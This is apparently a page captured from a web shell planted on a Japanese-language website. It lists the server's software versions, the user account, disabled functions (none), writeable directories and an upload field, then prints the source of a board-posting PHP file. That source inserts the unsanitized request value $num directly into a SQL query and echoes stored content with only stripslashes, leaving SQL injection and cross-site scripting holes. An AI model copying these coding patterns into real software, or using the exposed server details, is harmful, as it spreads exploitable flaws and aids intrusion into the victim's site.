KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/jaejoong_X/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/queenjbs/jaejoong_X/pages/from_write.php
<?php

	include $_SERVER['DOCUMENT_ROOT']."/conf/conf_dir.php";

	$PAGE_GUBUN =	"11";

	include $_SERVER['DOCUMENT_ROOT']."/pages/inc_top.php";
?>
<script type="text/javascript" src="/sys_css_js/default.js"></script>
<script type="text/javascript" src="/ckeditor/ckeditor.js"></script>
<script type="text/javascript" src="/ckeditor/config.js"></script>


 <div id="page_index">
  <a href="default.php">HOME</a> > FROM
 </div>

 <div id="sub_content_box">

 <?
					if($num){
						$tableName = "from";
						$qry = "SELECT * FROM board_$tableName where no='$num'";
						$result= mysql_query($qry,$db_con);
						$row = mysql_fetch_array($result);

						$loginDate = substr($row[logindate],0,10);
						$regDate = substr($row[cdate],0,10);

						//$naviChkName = "수정";
					}else{
						//$naviChkName = "등록";
					}
					?>
						<form  name="form" method="post" enctype="multipart/form-data">
						<input type=hidden name="PAGE_GUBUN" value="<?=$PAGE_GUBUN?>">
						<input type=hidden name="mode" value="<?=$mode?>">
						<input type=hidden name="num">

						<table class="basic_table">
       <colgroup>
        <col width='20%'>
        <col	width="80%">
       </colgroup>
							<tbody>

       <?if($sessionLevel == 15){?>
        <tr>
         <th class="title_le_w_top">is_secret</th>
         <td class="title_ri_w_top"><input  type="checkbox" id="is_secret" name="is_secret" class="input_box" value="Y" <?if($row[is_secret] == "Y") echo"checked";?>/> <b>secret check</b></td>
        </tr>
        <tr>
         <th class="title_le_w">notice</th>
         <td class="title_ri_w"><input  type="checkbox" id="is_notice" name="is_notice" class="input_box" value="Y" <?if($row[is_notice] == "Y") echo"checked";?>/> <b>notice check</b></td>
        </tr>
       <?}?>
       <tr>
        <th class="title_le_w">タイトル</th>
        <td class="title_ri_w"><input  type="text" id="subject" name="subject" value="<?=stripslashes($row[subject])?>" size="50" class="input_box" /></td>
       </tr>
       <tr>
        <th class="title_le_w">内容</th>
        <td class="title_ri_w">
         <textarea cols="60" id="editor_kama" name="contents" rows="10"><?=stripslashes($row[contents])?></textarea>
         <script type="text/javascript">
         //<![CDATA[

          CKEDITOR.replace( 'editor_kama',
           {
            skin : 'kama',
            enterMode		: 2,
            shiftEnterMode	: 3,
            language : 'ja',

            //filebrowserBrowseUrl : '/browser/browse.php',
            filebrowserUploadUrl : '/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files'
            //filebrowserWindowWidth : '640 ',
            //filebrowserWindowHeight : '480'


           });
         //]]>
         </script>
        </td>
       </tr>
       <tr>
        <th class="title_le_w">添 付</th>
        <td class="title_ri_w"><input name="addfile" type="file">
        <?
        $imgName = get_db("select original_name from files where module_no = '$idx' and module_name='$tableName' order by no");
        if($imgName){
        echo $imgName."<input type='checkbox' name='delfile' value='1'>添付削除 ";
        }
        ?>
        <br><font color=blue>※動画ファイルは(wmv,asf,mov)のみ、10mb以下で保存することが可能です。 </font>
        </td>
      	</tr>
							<tr>
       	<td class="bottom_ri" colspan="2">
										<a href="./from.php" >■ リスト ■</a>&nbsp;&nbsp;&nbsp;&nbsp;
										<a onclick="writeChk('<?=$num?>');" style="CURSOR: pointer" id="btn">■ 完了 ■</a>
        </td>
       </tr>

	     </tbody>
					</table>
				</form>
 			</div>




<?php
  include"inc_footer.php";
?>
<script type="text/javascript">
	<!--
	function formChange(val,mode){
		if(mode == "del"){
			if(confirm("削除しましょうか?")){

			} else {
				return false;
			}

		}

		//내용변경
		document.form.num.value = val;
		document.form.mode.value = mode;
		if(mode == 'write' || mode == 'proc'){
			document.form.method = "post";
		}else{
			document.form.method = "get";
		}
		document.form.action = "./from_proc.php";
		document.form.submit();

	}

	function board_proc(mode) {
		//document.form.idx.value = val;
		document.form.mode.value = mode;
		document.form.action = "<?=$php_self?>";
		document.form.submit();
	}
	-->
</script>
</body>
</html>

Anon7 - 2021